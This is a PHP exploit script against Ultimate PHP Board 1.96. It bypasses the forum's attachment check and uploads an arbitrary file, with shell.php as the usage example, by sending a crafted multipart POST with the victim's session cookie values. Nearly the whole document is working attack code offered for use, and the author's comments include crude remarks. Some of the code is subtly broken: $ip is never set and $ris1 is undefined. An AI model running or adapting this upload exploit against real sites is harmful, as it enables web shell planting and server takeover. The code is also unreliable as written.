<?php
ini_set("default_socket_timeout",
4);
/*
* AUTHOR : Matrix86
* Contact: matrix86 [AT ] tuxmealux [ DOT] net
* CMS: UPB (Ultimate Php Board)
* Bug: Forum Post attachment check bypass
*
* W la pizza! E la figa!!
*
* Note:
* This exploit required a valid user with user id, encrypted password,
* and other data. Look your cookie for this:
* pass_env
* user_env
* id_env
* power_env
*/
function banner(){
echo "\n*****************************************************\n";
echo "* UPB (Ultimate Php Board) vers. 1.96 *\n";
echo "* Forum Post attachment check bypass *\n";
echo "*****************************************************\n";
echo "* Author: Matrix86 *\n";
echo "* Site: http://www.tuxmealux.net *\n";
echo "* W the pizza! And the italian girls!! *\n";
echo "*****************************************************\n\n";
}
function makePkt(){
global $host,
$port,
$path,
$file,
$userid,
$pwd,
$username,
$power;
$CRLF = "\r\n";
$boundary =
"-------------------------------".
time().
time();
$body = "--".$boundary."\r\n";
$body .= "Content-Disposition: form-data; name=\"u_name\"\r\n";
$body .= "\r\n";
$body .= $username."\r\n";
$body .= "--".$boundary."\r\n";
$body .= "Content-Disposition: form-data; name=\"subject\"\r\n";
$body .= "\r\n";
$body .= "Sorry...Matrix86 has you!\r\n";
$body .= "--".$boundary."\r\n";
$body .= "Content-Disposition: form-data; name=\"icon\"\r\n";
$body .= "\r\n";
$body .= "icon11.gif\r\n";
$body .= "--".$boundary."\r\n";
$body .= "Content-Disposition: form-data; name=\"message\"\r\n";
$body .= "\r\n";
$body .= "Sorry...Matrix86 has you!\r\n";
$body .= "--".$boundary."\r\n";
$body .= "Content-Disposition: form-data; name=\"file\"; filename=\"".$file."\"\r\n";
$body .= "Content-Type: image/gif\r\n";
$body .= "\r\n";
// $body .= "--".$boundary."\r\n";
// $body .= "Content-Disposition: form-data; name=\"submit\"\r\n";
// $body .= "\r\n\r\n";
$body .= "--".$boundary."--\r\n";
$packet = "POST ".$path."newpost.php?id=1&a=1&t=1&t_id=&page=1&power_env=".$power."&user_env=".$username."&id_env=".$userid."&pass_env=".$pwd." HTTP/1.0\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: Fuck Browser 2.1\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=".$boundary."\r\n";
$packet .=
"Content-Length: ".
strlen($body).
"\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Cookie: pass_env=".$pwd."; user_env=".$username."; id_env=".$userid."; power_env=".$power.";\r\n";
$packet .= "\r\n";
$packet .= $body;
//echo $packet;
return $packet;
}
function sendPkt($packet) {
global $host,
$port,
$path,
$file,
$userid,
$pwd,
$username,
$power;
if( stristr( $host,
$ip ) ) return FALSE;
echo "[*] Ip host: ".
$ip.
"\n";
if( !
( $sock =
fsockopen( $ip,
$port ) ) ) return FALSE;
echo "[*] Connection done\n";
echo "[*] Sending data\n";
echo "[*] Waiting for a response\n";
$response = "";
while ( !
feof( $sock ) ) {
$response .=
fgets ( $sock,
128 );
}
return $response;
}
banner();
if($argc <
4) die("Usage: ".
$argv[0].
" [site] [path] [id_env] [user_env] [pass_env] [power_env] [uploadfile]\n\tExample: ".
$argv[0].
" http://127.0.0.1 /upb/ 34 fuckyou wfwf323 1 shell.php\n");
$host = $argv[1];
$path = $argv[2];
$userid = $argv[3];
$username = $argv[4];
$pwd = $argv[5];
$power = $argv[6];
$file = $argv[7];
$port = 80;
if( strstr( $host,
"http://" ) ) $host =
substr( $host,
7 );
$pkt = makePkt();
$ris = sendPkt( $pkt );
if( $ris != FALSE ) {
echo "[*] Response received!\n";
$uploaded_file = "http://".$host.$path."uploads/".$file;
if( ($ris !=
FALSE) &&
(!
stristr( $ris1,
"404" )) ) echo "\n[@] Exploit succeed! Look at ".
$uploaded_file.
"\n";
else echo "\n[X] Sorry...Exploit Failed!\n";
}
else echo "\n[X] Sorry...Exploit Failed! Sending error!\n";
?>